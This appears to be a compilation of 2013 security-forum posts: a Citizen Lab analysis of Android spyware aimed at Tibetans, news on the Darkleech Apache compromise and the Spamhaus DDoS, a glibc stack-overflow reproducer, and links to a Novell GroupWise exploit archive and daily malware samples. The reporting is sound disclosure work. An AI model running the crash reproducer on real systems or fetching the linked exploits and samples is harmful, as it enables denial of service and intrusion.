^(PREFIX["repne"] repe_instruction_mnemonics) ; rep_instruction_mnemonics : movs_mnemonics | lods_mnemonics | stos_mnemonics ; movs_mnemonics : 'movsb' -> MNEMONIC["movsb"] | 'movsw' -> MNEMONIC["movsw"] | 'movsd' -> MNEMONIC["movsd"] ; lods_mnemonics : 'lodsb' -> MNEMONIC["lodsb"] | 'lodsw' -> MNEMONIC["lodsw"] | 'lodsd' -> MNEMONIC["lodsd"] ; stos_mnemonics : 'stosb' | 'stosw' | 'stosd' ; repe_instruction_mnemonics : cmps_mnemonics | scas_mnemonics ; cmps_mnemonics : 'cmpsb' -> MNEMONIC["cmpsb"] | 'cmpsw' -> MNEMONIC["cmpsw"] | 'cmpsd' -> MNEMONIC["cmpsd"] ; scas_mnemonics : 'scasb' -> MNEMONIC["scasb"] | 'scasw' -> MNEMONIC["scasb"] | 'scasd' -> MNEMONIC["scasb"] ; return_instructions : return_mnemonic literal_16? -> return_mnemonic ^(OPERANDS ^(OPERAND literal_16)) ; return_mnemonic : 'ret' -> MNEMONIC["ret"] | 'retn' -> MNEMONIC["retn"] | 'retf' -> MNEMONIC["retf"] ; set_instructions : set_mnemonic reg8 -> set_mnemonic ^(OPERANDS ^(OPERAND reg8)) | set_mnemonic mem8 -> set_mnemonic ^(OPERANDS ^(OPERAND mem8)) ; set_mnemonic : 'setae' -> MNEMONIC["setae"] | 'setnb' -> MNEMONIC["setnb"] | 'setb' -> MNEMONIC["setb"] | 'setnae' -> MNEMONIC["setnae"] | 'setbe' -> MNEMONIC["setbe"] | 'setna' -> MNEMONIC["setna"] | 'sete' -> MNEMONIC["sete"] | 'setz' -> MNEMONIC["setz"] | 'setne' -> MNEMONIC["setne"] | 'setnz' -> MNEMONIC["setnz"] | 'setl' -> MNEMONIC["setl"] | 'setnge' -> MNEMONIC["setnge"] | 'setge' -> MNEMONIC["setge"] | 'setnl' -> MNEMONIC["setnl"] | 'setle' -> MNEMONIC["setle"] | 'setng' -> MNEMONIC["setng"] | 'setg' -> MNEMONIC["setg"] | 'setnle' -> MNEMONIC["setnle"] | 'sets' -> MNEMONIC["sets"] | 'setns' -> MNEMONIC["setns"] | 'setc' -> MNEMONIC["setc"] | 'setnc' -> MNEMONIC["setnc"] | 'seto' -> MNEMONIC["seto"] | 'setno' -> MNEMONIC["setno"] | 'setp' -> MNEMONIC["setp"] | 'setpe' -> MNEMONIC["setpe"] | 'setnp' -> MNEMONIC["setnp"] | 'setpo' -> MNEMONIC["setpo"] ; double_shift_instructions : double_shift_mnemonic regmem_16 ',' reg16 ',' double_shift_third_operand -> double_shift_mnemonic ^(OPERANDS ^(OPERAND regmem_16) ^(OPERAND reg16) ^(OPERAND double_shift_third_operand)) | double_shift_mnemonic regmem_32 ',' reg32 ',' double_shift_third_operand -> double_shift_mnemonic ^(OPERANDS ^(OPERAND regmem_32) ^(OPERAND reg32) ^(OPERAND double_shift_third_operand)) ; double_shift_mnemonic : 'shrd' | 'shld' ; double_shift_third_operand : literal_8 | 'cl' ; Sursa: https://github.com/sporst/Reverse-Engineering-Scripts/tree/master/antlr_x86

[h=2]Permission to Spy: An Analysis of Android Malware Targeting Tibetans[/h] April 1, 2013 Download PDF Key Findings A compromised version of Kakao Talk, an Android-based mobile messaging client, was sent in a highly-targeted email to a prominent individual in the Tibetan community. This email message repurposed a legitimate private email message sent by an information security expert in the Tibetan community to a member of the Tibetan parliament-in-exile. This malware is designed to send a user’s contacts, SMS message history, and cellular network location to attackers. The cellular network information gathered by this malware would only be useful to actors with detailed knowledge of the cellular communication provider’s technical infrastructure. The compromised application was not detected as malware by any of the three mobile malware scanning applications we tested. Background This blog post is part of a series documenting the use of information operations against Tibetans and others who advocate for Tibetan rights and freedoms. This research is part of the Citizen Lab’s ongoing study of targeted cyber threats against human rights organizations. Prior research by the Citizen Lab has documented targeted malware sent to a Tibetan organization by the APT1 group, malware that repurposes privately-held content of Tibetan groups, and malware that leverages the issues of self-immolations amongst Tibetans and a European Parliament resolution on the human rights situation in Tibet. The incident described in this post stands out from our past reports given its use of malware designed for the Android platform. The attack repurposed a genuine private email message containing a legitimate Android Application Package File (APK) that was sent from an information security expert in the Tibetan community to a member of the Tibetan parliament-in-exile. It is likely that the attacker obtained the original message and attachment through a compromised email account of the parliament member. The attacker then sent the same message to another prominent member of the Tibetan community, but this time with a compromised version of the same Android APK containing malicious code. Malware targeting the Tibetan community has utilized a variety of platforms over time. The majority of targeted malware campaigns against the Tibetan community focus on Windows platforms. However, we have also seen attacks targeting Macs and the emergence of mobile malware. Additionally, during investigations of command and control (C2) servers associated with the Luckycat campaign [PDF], Trend Micro [PDF] found two malicious Android APKs in early stages of development that could collect device information and download and upload files by remote command. Based on the available information, it was not clear to Trend Micro how the attackers intended to deliver the mobile malware to targets. On March 26, 2013, researchers at Kaspersky reported on a compromise of an email account of a high-profile Tibetan activist, which was used by attackers to send targeted malware to the activist’s contact list. The targeted attacks leveraged email content about the World Uyghur Congress and included a malicious APK file purporting to be an app with information on the event. That malware allowed attackers to collect data from infected devices including contacts, call logs, SMS messages, geo-location, and phone data (phone number, OS version, phone model, SDK version). Attack Overview In January 2013, a Tibetan source provided the Citizen Lab with a forged email containing a compromised software installation package, in the form of an Android APK, for a mobile application called Kakao Talk. Kakao Talk is an application developed by a South Korean company that “allows its users to send and receive messages including photos, videos and contact information, both on a one-to-one basis and in groups, all for free.” Members of the Tibetan community have used Kakao Talk and other applications as alternatives to WeChat (a chat client rapidly rising in popularity) after concerns were raised regarding that application’s general security and the potential for Tencent (the Chinese company that provides the application) to monitor users at the behest of the Chinese government. On December 4, 2012, an information security expert who works within the Tibetan community sent a private email to a member of the Tibetan parliament-in-exile, based in Dharamsala, India. That email attached a genuine version of Kakao Talk and Tunein (an online radio application) as .apk files. On January 16, 2013, an email purporting to be from this same information security expert was sent to a high profile political figure in the Tibetan community. The email contained the same text as the message from December 4, but attached a compromised version of the same Kakao Talk Android APK, as seen below in Figure 1. Figure 1: Forged email containing compromised version of Kakao Talk APK (highlighted in red). The email spoofed the real address of the security expert who originally sent the legitimate message. The actual sender email address used by the attackers was uygur52@gmx.com. Technical Analysis Our analysis reveals that the legitimate Kakao Talk application was modified to include additional permission requests while preserving the core chat functionality and user interface of the application. (Hereafter this added functionality will be referred to as the “malware.”) In order for the malware to be installed, the user must permit applications to be installed from sources other than the Google Play store. This permission is not enabled by default in Android. However, as many members of the Tibetan community (particularly those inside Tibetan areas) have access to the Google Play service restricted, they are required to permit applications to be installed from outside sources, and circulating APKs outside of Google Play is common. In addition to permitting the “allow from unknown sources” option, the user must also must permit the additional permissions requested by the application. Users may be duped into accepting these permissions by assuming they are required for the regular functionality of the application or by not reviewing them carefully and approving. Once these permissions are approved, they are used to authorize the additional data-gathering capabilities of the malware, which is configured to autostart on device boot. The Kakao Talk application and malware were repackaged into the modified APK and signed with an illegitimate certificate. Both the original and illegitimate certificates are reproduced below. Notice that fields in the illegitimate certificate have been populated with what appears to be an assortment of nonsensical characters from a QWERTY keyboard: Original legitimate certificate: Owner: OU=kakaoteam, O=kakao, C=ko Issuer: OU=kakaoteam, O=kakao, C=ko Serial number: 4c707197 Valid from: Sat Aug 21 20:38:47 EDT 2010 until: Mon Jul 28 20:38:47 EDT 2110 Certificate fingerprints: MD5: 70:D4:94:75:18:38:25:BE:88:A1:BA:9A:50:30:DA:E3 SHA1: EC:C4:5B:90:2A:C1:E8:3C:8B:E1:75:8A:25:7E:67:49:2D:E3:74:56 Signature algorithm name: SHA1withRSA Version: 3 Illegitimate certificate: Owner: CN=qwe, OU=asd, O=zxc, L=rty, ST=fgh, C=vbn Issuer: CN=qwe, OU=asd, O=zxc, L=rty, ST=fgh, C=vbn Serial number: a3e5475 Valid from: Tue Jan 08 22:45:49 EST 2013 until: Wed Oct 12 23:45:49 EDT 2067 Certificate fingerprints: MD5: BC:04:8C:12:93:39:BE:B7:72:B3:62:E0:9C:B3:03:0B SHA1: A6:41:78:7B:93:FC:00:77:ED:61:AC:B9:10:9B:07:48:46:9A:76:EB Signature algorithm name: SHA1withDSA Version: 3 The following permissions are added by the malware and do not exist in the legitimate version: android.permission.GET_ACCOUNTS android.permission.ACCESS_NETWORK_STATE android.permission.READ_SMS android.permission.INTERNET android.permission.ACCESS_FINE_LOCATION android.permission.WRITE_SETTINGS android.permission.WRITE_SECURE_SETTINGS android.permission.WRITE_APN_SETTINGS android.permission.MOUNT_UNMOUNT_FILESYSTEMS android.permission.PROCESS_OUTGOING_CALLS android.permission.DEVICE_POWER adnroid.permission.ACCESS_CHECKIN_PROPERTTES android.permission.INTERNET adnroid.permission.CHANGE_WIFI_STATE android.permission.MODIFY_PHONE_STAT android.permission.BLUETOOTH_ADMIN android.permission.BLUETOOTH android.permission.BIND_DEVICE_ADMIN android.permission.USES_POLICY_FORCE_LOCK android.permission.CHANGE_CONFIGURATION Figure 2 below shows the difference in permissions between the legitimate and modified Kakao Talk software package. Users can display the permissions granted to an application by selecting ‘Apps’ from the settings menu. The sections highlighted in red show differences between the legitimate and illegitimate version of the application: Figure 2: Comparison of permissions between legitimate and illegitimate versions of Kakao Talk. Using these permissions, the malware performs the following actions of significant concern: On a periodic basis the user’s contacts, call history, SMS messages and cellular network configuration are written to an encrypted file called info.txt. Periodically contacts a command and control server (C2) “android.uyghur.dnsd.me” to retrieve updated configuration information such as URLs and login credentials. This configuration information directs the malware where to upload the info.txt file. The site hosting the C2 appears to emulate the appearance of the Baidu website (a Chinese search engine), but includes encrypted configuration data hidden in the comments. By masking the C2 as a seemingly innocuous website, requests would appear to be legitimate on casual inspection. The configuration data contained in the comments direct the malware to upload captured data from the device to an FTP server and contain a pointer to a new C2 that would allow the attackers to change the C2 should that need arise. Intercepts SMS messages and searches for a special code sent by a malicious actor, which if detected responds to the sender with the base station ID, tower ID, mobile network code and mobile area code of the phone in question. This message is not displayed to the user and they are never made aware of it. The fact that the malware silently responds to the SMS with such detailed technical information on the cellular phone network and topology is both troubling and curious. An unsophisticated actor would have little or no use for this information if they were simply interested in exfiltrating data from the user for purposes such as fraud, spam or identity theft. Nor can this information be easily used to place a person’s physical location — the malware is not responding with a convenient longitude and latitude. Detailed knowledge of the cellular network topology and configuration would be required to determine a user’s location, something unlikely to be in such an actor’s possession. This information is only useful to actors with access to the cellular communications provider and its technical infrastructure, such as large businesses and government. It almost certainly represents the information that a cellular service provider requires to initiate eavesdropping, often referred to as “trap & trace.” Actors at this level would also have access to the data required to perform radio frequency triangulation based on the signal data from multiple towers, placing the user within a small geographical area. However, it is also possible that this data is being gathered opportunistically by an actor without access to such cellular network information. We can only speculate on what may be done with the data that is collected. Of the additional permissions requested by the malware, some do not appear to be used, including GPS location, Bluetooth radio access, and phone sleep state. While these features are not currently being utilized, exploiting them could have serious consequences. For instance, Bluetooth functionality could potentially be used to enumerate devices (and through this other individuals) in close proximity to the compromised phone. The fact that these features are not currently utilized may indicate that the malware is still undergoing development. Further evidence suggests that the malware may be in the process of development. Two of the additional permissions requested by the malware are misspelled, rendering these permissions unusable: adnroid.permission.ACCESS_CHECKIN_PROPERTTES adnroid.permission.CHANGE_WIFI_STATE We ran three popular mobile antivirus scanners (provided by Avast, Lookout, and Kaspersky) on an Android handset with the compromised application installed. As seen in Figure 3, none of the three scanners detected the applications as malicious on two separate days of testing: February 6, 2013 and March 27, 2013. Therefore, at this time manual inspection of the applications permissions is required to detect the compromised application. Figure 3: Screen captures of three mobile malware scanning applications (from left to right, Avast, Lookout and Kaspersky) failing to detect the compromised version of Kakao Talk. The identifiers for the sample are listed below and further information is available on VirusTotal. [TABLE] [TR] [TD]MD5[/TD] [TD]cbc474e34f26b4afd02932d8cae9e401[/TD] [/TR] [TR] [TD]SHA-1[/TD] [TD]495b622d8209820022fe743c340b39e6e9313cd9[/TD] [/TR] [TR] [TD]SHA-256[/TD] [TD]9390a145806157cadc54ecd69d4ededc31534a19a1cebbb1824a9eb4febdc56d[/TD] [/TR] [/TABLE] Contextual Analysis While groups advocating for Tibetan rights have been the targets of persistent malware campaigns for many years, this attack stands out for a number of reasons. First, it targets a prominent member of the Tibetan community and leverages legitimate emails that attempt to encourage the use of alternatives to applications with security issues like WeChat when communicating with individuals in the Tibetan community. WeChat has been rapidly gaining popularity amongst Tibetans, including those in exile communities and individuals communicating sensitive information inside Tibetan areas. In addition, the discovery of this malware comes at a particularly sensitive time for Tibetans and those working on issues related to Tibetan human rights. The wave of self-immolations amongst Tibetans has led to an increasingly severe response from Chinese authorities. The practice of self-immolation among Tibetans has intensified significantly since Citizen Lab first examined information controls in Tibet in the wake of self-immolations over a year ago. As of April 1, 2013, 112 Tibetans have self-immolated. The Chinese government’s response to such practice has become increasingly hardline, with officials explicitly characterizing measures employed to maintain stability in Tibetan regions as a “crackdown” in March 2013. This hardening policy is perhaps an indication of the government’s view of the severity of the threat to its control presented by events in Tibet. The government and official media have characterized the underlying causes of self-immolation differently over time, gradually moving to the position that the practice is the result of the influence of “foreign hostile forces,” coordinated and encouraged by overseas Tibetan organizations as well as the Dalai Lama. The crackdown in Tibet against self-immolators and those who are alleged to incite them has already resulted in severe criminal sentences for some individuals, based in part on “evidence” of their digital contact with overseas groups. With official reliance on “evidence” of overseas contact as a basis for conviction and crackdown, it appears that Chinese authorities are specifically targeting mobile devices in China as a perceived means of communicating and organizing self-immolations. In March 2013, reports emerged from Lhasa that Chinese authorities had introduced restrictions against the use of mobile phones and had conducted a security sweep of mobile devices in the city’s monasteries in an attempt to limit the dissemination of images and text. Although we have no specific evidence linking these new restrictions to the targeted malware we found, the timing is certainly suggestive and warrants further exploration. Conclusion and Recommendations This incident demonstrates the capacity of attackers to rapidly adapt their techniques in response to changes in the communication methods used by targeted communities. In this case, Tibetan community members began discussing alternative applications to WeChat following concerns raised about its security. In a tit-for-tat response, attackers quickly leveraged this change, duplicating a legitimate message and producing a malicious version of an application being circulated as a possible alternative. The malicious APKs linked to the Luckycat campaign [PDF], the recent Android malware attacks reported by Kaspersky and the example presented here demonstrate that the Tibetan community is being actively targeted by mobile malware. The attack we analyzed and the malware reported by Kaspersky are not technically related. The malware binaries and command and control infrastructure are different and there is no clear indication from technical comparison of the two samples that the attacks were conducted by the same attacker(s). However, both attacks leveraged compromised email accounts of high profile members of the Tibetan community and also included reference to the Uyghur community (in the email lure of the sample reported by Kaspersky, and in the actual sender email “uygur52@gmx.com” and C2 domain “android.uyghur.dnsd.me” used in the attack we analyzed). Notably, authorities in China have also targeted use of the “‘Internet, mobile phones and digital storage devices’” by Uyghurs in the government’s campaign against the “three evils” of terrorism, separatism and extremism. These similarities are inconclusive, but suggest that mobile malware campaigns against these communities are likely to continue. These examples demonstrate the risks communities face from targeted mobile malware. Attackers will continue to adopt new methods and widen targeting of platforms. For communities under persistent threat from targeted malware campaigns, user vigilance and education are essential for reducing risk. The Citizen Lab recommends: That users exercise caution in opening unexpected or unsolicited attachments or opening unverified links. See Citizen Lab’s Recommendations for defending against targeted cyber threats for additional information, and Tibet Action Institute’s Detach from Attachments campaign. That users be aware of mobile malware and exercise caution when installing mobile applications. Users should pay close attention to the permissions requested by the malware, and should avoid installing applications that request permissions they do not need. The Guardian Project and other initiatives are developing secure mobile applications to help users protect their communications and personal data from intrusion and monitoring. That users consult the Tibet Action Institute’s Mobile Security resources, which are aimed at Tibetan audiences. Acknowledgements: This report is by the Citizen Lab Targeted Threats team. We are grateful to Dylan Neild for analysis and our Technical Advisory Group members, Morgan Marquis-Boire and Nart Villeneuve, for review and comments. Post written by Citizen Lab Sursa: https://citizenlab.org/2013/04/permission-to-spy-an-analysis-of-android-malware-targeting-tibetans/

[h=1]OWASP Top 10 for JavaScript - A2: Cross Site Scripting - XSS[/h]May 30, 2012 - 23:31 CEST - Tags: security xss owasp In this post I'll describe how OWASP Top 10: A2-Cross Site Scripting applies to javascript based applications. Cross site Scripting - or XSS - is probably one of the most common and one of the most difficult problems to fully mitigate. At first mitigation seems simple, but as contexts grow in complexity and the amount of code grows, it get's harder to discover all the different sinks. Tutorial: http://erlend.oftedal.no/blog/?blogid=127

[h=1]CVE-2012-1889: Security Update Analysis[/h] Publicat la 19.07.2012 CVE-2012-1889: Security Update Analysis by Brian Mariani & Frederic Bourla Since the 30th of May 2012 hackers were abusing the Microsoft XML core services vulnerability. The 10th of July 2012 Microsoft finally published a security advisory which fixes this issue. The present document and video explains the details about this fix. As a lab test we used a Windows XP workstation with Service Pack 3. The Internet explorer version is 6.0. Demo video for publication: https://www.htbridge.com/publications... [h=4][/h]

[h=1]Novell GroupWise Untrusted Pointer Dereference Exploitation[/h]April 3, 2013 [TABLE] [TR] [TD]Authors: [/TD] [TD]Brian Mariani, Senior Security Auditor, High-Tech Bridge Frederic Bourla, Chief Security Specialist, High-Tech Bridge[/TD] [/TR] [/TABLE] On the 24th of November 2012 High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Novell GroupWise 2012. On the 26th November 2012, High-Tech Bridge Security Research Lab informed Novell about these vulnerabilities, which existed in two core ActiveX modules. On the 30th of January 2013, Novell published Security Bulletin and released a security patch. Finally, on the 3rd of April 2013 High-Tech Bridge Security Research Lab disclosed advisory details. This paper demonstrates vulnerability exploitation to execute arbitrary code on the vulnerable system. PDF: Novell GroupeWise Untrusted Pointer Dereference (1,0 MB) Video: Novell GroupWise Untrusted Pointer Dereference Exploitation Exploit files (Novell-GroupWise-exploit.rar) password: htbridge (5 kB) Sursa: https://www.htbridge.com/publications/novell_groupwise_untrusted_pointer_dereference_exploitation.html

Keep Your Eye On The Bitcoin 10:25 am (UTC-7) | by Ben April (Senior Threat Researcher) The market capitalization of the Bitcoin ecosystem crossed 1 billion US dollars recently. As the value of the each Bitcoin nears 100 US dollars, many have begun to take notice. One likely source of this sudden interest is the Cypriot banking crisis. As depositors scramble to hedge their investments, the steadily growing notoriety of bitcoin raises some interesting opportunities. The two most alluring aspects that make the Bitcoin economy unique are the concept of mining and, interestingly enough, the automatic limits on mining. Unlike other forms of currency, bitcoin users can create new money. By solving complex math problems users, or miners as they are often called, create new bitcoins where there used to be none. This operation is not strictly free “as in beer”. Miners need to invest time, electricity, and equipment into the endeavor. Profit is also not guaranteed. The nature of the math problems being solved mean that a single miner may never create new bitcoins on their own. This self-limiting aspect of Bitcoin creates a fascinating set of contradictions. First there is a hard limit. There will never be more than 21 million bitcoins in circulation. It is important to note that each Bitcoin can be divided almost ad-infinitum. Some software only supports fractional bitcoins to 8 decimal places, but there is no hard limit in the Bitcoin system itself. Once all bitcoins have been mined it is expected that the value will increase as smaller and smaller fractions are transacted. Block mining serves two functions. First, it cements a set of bitcoins transactions into the distributed record called the block chain. Second the miner who solves the problem and successfully signs the block is rewarded. The reward today consists of 25 bitcoins plus any transaction fees. Transaction fees are small quantities of bitcoins left over (intentionally by the requestor) from any submitted transactions. The reward changed from 50 bitcoins to 25 towards the end of November 2012. Bitcoin is designed such that this halving of the reward should automatically occur approximately ever 4 years, until 21 Million bitcoins have been created and the reward becomes 0. At this time, the transaction fee will become the only incentive for continued mining operations which are essential for the continued success of Bitcoin. Its distributed, non-regulated nature has also raised the ire of regulators. The United States Treasury Department’s Financial Crimes Enforcement Network announced on March 13 new guidelines on how to apply existing regulations to people involved in the transacting of virtual currencies. This announcement was aimed at the prevention of money laundering via Bitcoin; at the same time some saw it as adding legitimacy to the growing Bitcoin economy. One last attribute of Bitcoin that I will mention in this post is called “difficulty”. This is actually adjusted based on the overall speed of mining. If blocks are being mined at a rate faster than expected (due to an excess of mining capacity) the difficulty level increases automatically. This is intended to prevent one actor from applying excessive capacity in hopes of gaining an unfair advantage. Judging by the current up-swing of difficulty, I think it is safe to say that the popularity of Bitcoin is on the rise. No one can say for sure what is on the horizon for Bitcoin. However I think it is safe to say there will be more to see soon. Sursa: Keep Your Eye On The Bitcoin | Security Intelligence Blog | Trend Micro

Va dati seama din titlu: http://malshare.com/daily/

glibc getaddrinfo() stack overflow From: Marcus Meissner <meissner () suse de> Date: Wed, 3 Apr 2013 13:10:21 +0200 Hi, A customer reported a glibc crash, which turned out to be a stack overflow in getaddrinfo(). getaddrinfo() uses: struct sort_result results[nresults]; with nresults controlled by the nameservice chain (DNS or /etc/hosts). This will be visible mostly on threaded applications with smaller stacksizes, or operating near out of stack. Reproducer I tried: $ for i in `seq 1 10000000`; do echo "ff00::$i a1" >>/etc/hosts; done $ ulimit -s 1024 $ telnet a1 Segmentation fault (clean out /etc/hosts again ) I am not sure you can usually push this amount of addresses via DNS for all setups. Andreas is currently pushing the patch to glibc GIT. Reference: https://bugzilla.novell.com/show_bug.cgi?id=813121 Ciao, Marcus Sursa: oss-sec: CVE Request: glibc getaddrinfo() stack overflow

[h=1]Ongoing malware attack targeting Apache hijacks 20,000 sites[/h][h=2]Mysterious "Darkleech" exposes visitors to potent malware exploits.[/h] by Dan Goodin - Apr 2 2013, 6:15pm GTBD Tens of thousands of websites, some operated by The Los Angeles Times, Seagate, and other reputable companies, have recently come under the spell of "Darkleech," a mysterious exploitation toolkit that exposes visitors to potent malware attacks. The ongoing attacks, estimated to have infected 20,000 websites in the past few weeks alone, are significant because of their success in targeting Apache, by far the Internet's most popular Web server software. Once it takes hold, Darkleech injects invisible code into webpages, which in turn surreptitiously opens a connection that exposes visitors to malicious third-party websites, researchers said. Although the attacks have been active since at least August, no one has been able to positively identify the weakness attackers are using to commandeer the Apache-based machines. Vulnerabilities in Plesk, Cpanel, or other software used to administer websites is one possibility, but researchers aren't ruling out the possibility of password cracking, social engineering, or attacks that exploit unknown bugs in frequently used applications and OSes. Researchers also don't know precisely how many sites have been infected by Darkleech. The server malware employs a sophisticated array of conditions to determine when to inject malicious links into the webpages shown to end users. Visitors using IP addresses belonging to security and hosting firms are passed over, as are people who have recently been attacked or who don't access the pages from specific search queries. The ability of Darkleech to inject unique links on the fly is also hindering research into the elusive infection toolkit. "Given that these are dynamically generated, there would be no viable means to do a search to ferret them out on Google, etc.," Mary Landesman a senior security researcher for Cisco Systems' TRAC team, told Ars. "Unfortunately, the nature of the compromise coupled with the sophisticated conditional criteria presents several challenges." The injected HTML iframe tag is usually constructed as IP address/hex/q.php. Sites that deliver such iframes that aren't visible within the HTML source are likely compromised by Darkleech. Special "regular expression" searches such as %7B32%7D%5C%2Fq.php&type=regexp&start=2013-02-27&end=2013-03-14&max=400"]this one helped Landesman ferret out reported iframes used in these attacks. Note that while the iframe reference is formed as IP/hex/q.php, the malware delivery is formed as IP/hex/hex/q.php. [h=2]In active development[/h] With the help of Cisco Security Engineer Gregg Conklin, Landesman observed Darkleech infections on almost 2,000 Web host servers during the month of February and the first two weeks of March. The servers were located in 48 countries, with the highest concentrations in the US, UK, and Germany. Assuming the typical webserver involved hosted an average of 10 sites, that leaves the possibility that 20,000 sites were infected over that period. The attacks were documented as early as August on researcher Denis Sinegubko's Unmask Parasites blog. They were observed infecting the LA Times website in February and the blog of hard drive manufacturer Seagate last month, an indication the attacks are ongoing. Landesman said the Seagate infection affected media.seagate.com, which was hosted by Media Temple, began no later than February 12, and was active through March 18. Representatives for both Seagate and the LA Times said the sites were disinfected once the compromises came to light. "I regularly receive e-mails and comments to my blog posts about new cases," Sinegubko told Ars last week. "Sometimes it's a shared server with hundreds or thousands of sites on it. Sometimes it's a dedicated server with some heavy-traffic site." Referring to the rogue Apache modules that are injected into infected sites, he added, "Since late 2012 people have sent me new versions of the malicious modules, so this malware is in active development, which means that it pays off well and the number of infected servers can be high (especially given the selectivity of the malware that prefers to stay under the radar rather than infecting every single visitor)." Landesman picked a random sample of 1,239 compromised websites and found all were running Apache version 2.2.22 or higher, mostly on a variety of Linux distributions. According to recent blog posts published here and here by researchers from security firm Securi, Darkleech uses rogue Apache modules to inject malicious payloads into the webpages of the sites it infects and to maintain control of compromised systems. Disinfecting Web servers can prove extremely difficult since the malware takes control of the secure shell (SSH) mechanism that legitimate administrators use to make technical changes and update content to a site. "We have noticed that they are modifying all SSH binaries and inserting a version that gives them full access back to the server," Securi CTO Daniel Cid wrote in January. "The modifications not only allow them to remote into the server bypassing existing authentication controls, but also allow them to steal all SSH authentications and push it to their remote servers." Researchers from a variety of other organizations, including antivirus provider Sophos and the Malware Must Die blog, have also stumbled on servers infected by Darkleech. They note the third-party attack sites host malicious code from the Blackhole exploit kit, a suite of tools that targets vulnerabilities in Oracle's Java, Adobe's Flash and Reader, and a variety of other popular client software. "It looks like the attackers were beforehand well-prepared with some penetration method to gain web exploitation which were used to gain shell access and did the privilege escalation unto root," the writer of the latter blog post wrote last week, adding that he wasn't at liberty to discuss the precise method. "Since the root [was] gained in all infected servers, there is no way we can trust the host or its credentials anymore." The writer went on to recommend that admins take infected servers offline and use backup data to reinstall the software. He also suggested that users take care to change all server credentials, since there's a strong chance all previous administrator logins have been compromised. [h=2]Déjà vu[/h] The Apache server compromise in many ways resembles a mass infection from 2008 that also used tens of thousands of sites to silently expose visitors to malware attacks. The challenge white hats often face in fighting these hacks is that each researcher sees only a small part of the overall damage. Because the server malware is designed to conceal itself and because so many individual systems are affected, it can be next to impossible for any one person to gain a true appreciation for the scope of attack. Since there's not yet consensus among researchers about exactly how Darkleech takes hold of infected systems, it's still unclear exactly how to protect them. And as already noted, disinfecting systems can also prove challenging since backdoor and possibly even rootkit functionality may allow attackers to maintain control of servers even after the malicious modules are uninstalled. Landesman has published her own blog post about the infection here. "This is a latent infection," Sinegubko wrote. "It hides from server and site admins using blacklists and IPs and low-level server APIs (something that normal site scripts don't have access to). "It hides from returning visitors. It constantly changes domains so you can't reduce it to the facts were some particular domain was involved. I'm still waiting for someone to share any reliable information about the attack vector." Sursa: http://arstechnica.com/security/2013/04/exclusive-ongoing-malware-attack-targeting-apache-hijacks-20000-sites/

Pune pe pastebin parola cryptata si da-mi link te rog, am modificat eu primul post si parola nu mai e corecta.

[h=1]When spammers go to war: Behind the Spamhaus DDoS[/h][h=2]The story behind the 300Gb/s attack on an anti-spam organization.[/h] by Peter Bright - Mar 28 2013, 7:30pm GTBS Over the last ten days, a series of massive denial-of-service attacks has been aimed at Spamhaus, a not-for-profit organization that describes its purpose as "track[ing] the Internet's spam operations and sources, to provide dependable realtime anti-spam protection for Internet networks." These attacks have grown so large—up to 300Gb/s—that the volume of traffic is threatening to bring down core Internet infrastructure. The New York Times reported recently that the attacks came from a Dutch hosting company called CyberBunker (also known as cb3rob), which owns and operates a real military bunker and which has been targeted in the past by Spamhaus. The spokesman who the NYT interviewed, Sven Olaf Kamphuis, has since posted on his Facebook page that CyberBunker is not orchestrating the attacks. Kamphuis also claimed that NYT was plumping for sensationalism over accuracy. Sven Olaf Kamphuis is, however, affiliated with the newly organized group "STOPhaus." STOPhaus claims that Spamhaus is "an offshore criminal network of tax circumventing self declared internet terrorists pretending to be 'spam' fighters" that is "attempt[ing] to control the internet through underhanded extortion tactics." STOPhaus claims to have the support of "half the Russian and Chinese Internet industry." It wants nothing less than to put Spamhaus out of action, and it looks like it's not too picky about how that might be accomplished. And if Spamhaus won’t back down, Kamphuis has made clear that even more data can be thrown at the anti-spammers. [h=2]Escalation[/h] Hating Spamhaus has a long history. Spamhaus is a nonprofit organization based in London and Geneva that was started in 1998 as a way of combating the escalating spam problem. The group doesn't block any data itself, but it does operate a number of blacklist services used by others to block data. The first of these was the Spamhaus Block List (SBL), a database of IP addresses known to be spam originators. E-mail servers can query the SBL for each incoming e-mail to see if the connection is being made from an IP address in the database. If it is, they can reject the connection as being a probable cause of spam. SBL tended to be filled with machines that were, for one reason or another, operating as open relays. The protocol used for sending e-mail, SMTP (Simple Mail Transfer Protocol) has a feature that nowadays might be considered rather undesirable: in principle, any SMTP server can be used to send e-mail from any sender to any recipient. If the SMTP server isn't responsible for the message box that a mail is being sent to, it should look up the server that is responsible for the message box and forward the message on to that server, a process called "relaying," and servers that operate in this way are “open” relays. This is great for spammers. They can use a bogus address for the sender and the victim's address for the recipient, then use any open relay to actually send that message. The open relay will then find the real recipient server and forward the message. This is obviously undesirable, so most SMTP servers these days apply additional rules. For example, ISP-operated mail servers will often operate as relays, but with some restrictions: they'll only allow relaying if the connection is being made from an IP address that belongs to the ISP. Or they will require a username and password to access. As awareness of the problem of open relays has grown and the number of useful open relays has dropped, spammers have moved to other approaches. Instead of sending mail through a relay, they more commonly send it from machines they control directly to the recipient's mail server. One way they do this is with compromised PCs organized in botnets. The command and control servers direct the PCs in the botnets to send spam, and so the spam originates from hundreds of thousands or millions of compromised home and office PCs. This is why the destruction of large botnets often results in a drop in the number of spam messages sent. To counter this kind of thing, some blacklist operators operate blacklists of "client" IP addresses, addresses used by consumer-focused ISPs that, for the most part, shouldn't be directly sending mail at all (instead, they should be routing mail through their ISPs' respective mail relays). Spamhaus operates such a list, separate from the SBL, calling it the Policy Block List. Spamhaus also has a database of compromised machines, the Exploits Block List, that lists hijacked machines running spam-related malware. Spamhaus has a number of criteria that can result in an IP address being listed in its database. The organization has a number of Spamtrap e-mail addresses; addresses which won't ever receive legitimate mail (because nobody actually uses them). This is the most obvious source of IP addresses, and probably the least controversial—if an IP address sends spam to an inbox, it's fair game to regard that IP address as a spam source. Spamhaus also blocks "spam operations," which is to say companies it believes make a business of sending spam. It lists these in its Register of Known Spam Operations (ROKSO), and it will pre-emptively blacklist IP addresses used by these groups. (Spamhaus will blacklist "spam support services"—ISPs and other service operators known to be spam friendly, for example by offering Web hosting to spammers, hosting spam servers, or selling spam software.) The organization's most severe measure is its DROP ("don't route or peer") list. The DROP list is a list of IP address blocks that are controlled by criminals and spammers. Routers can use these to block all traffic from these IP ranges. Rather than using DNS, this list is distributed as a text file, for manual configuration, and using the BGP protocol, for routers to use directly. In addition to the lists it maintains and the different inclusion criteria, Spamhaus has one particularly important policy: escalation. Repeated infringement—such as an ISP that refuses to terminate the service of spammers on its network—will see Spamhaus 